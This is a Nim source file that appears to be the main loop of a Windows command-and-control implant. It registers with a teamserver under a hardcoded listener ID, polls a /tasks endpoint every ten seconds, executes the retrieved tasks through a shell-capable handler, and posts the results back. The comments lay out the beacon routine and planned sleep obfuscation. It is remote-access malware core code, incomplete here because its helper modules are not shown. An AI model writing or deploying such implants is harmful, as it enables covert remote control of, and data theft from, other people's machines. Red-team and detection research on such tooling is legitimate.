import strformat, os, times
import winim

import ./[types, http, task]
import commands/shell

proc main() = 

    #[
        The process is the following:
        1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
        2. Agent collects information relevant for the registration (using Windows API)
        3. Agent registers to the teamserver 
        4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
    ]#  

    # TODO: Read data from configuration file

    let listener = "NVIACCXB"
    let agent = register(listener)
    echo fmt"[+] [{agent}] Agent registered."

    #[
        Agent routine: 
        1. Sleep Obfuscation
        2. Retrieve task from /tasks endpoint
        3. Execute task and post result to /results
        4. If additional tasks have been fetched, go to 2.
        5. If no more tasks need to be executed, go to 1. 
    ]#
    while true: 

        sleep(10 * 1000)

        let date: string = now().format("dd-MM-yyyy HH:mm:ss")
        echo fmt"[{date}] Checking in."

        # Retrieve task queue from the teamserver for the current agent
        let tasks: seq[Task] = getTasks(listener, agent)

        if tasks.len <= 0: 
            echo "[*] No tasks to execute."
            continue 
        
        # Execute all retrieved tasks and return their output to the server
        for task in tasks: 
            let result = task.handleTask()

            discard postResults(listener, agent, result)
            
when isMainModule: 
    main()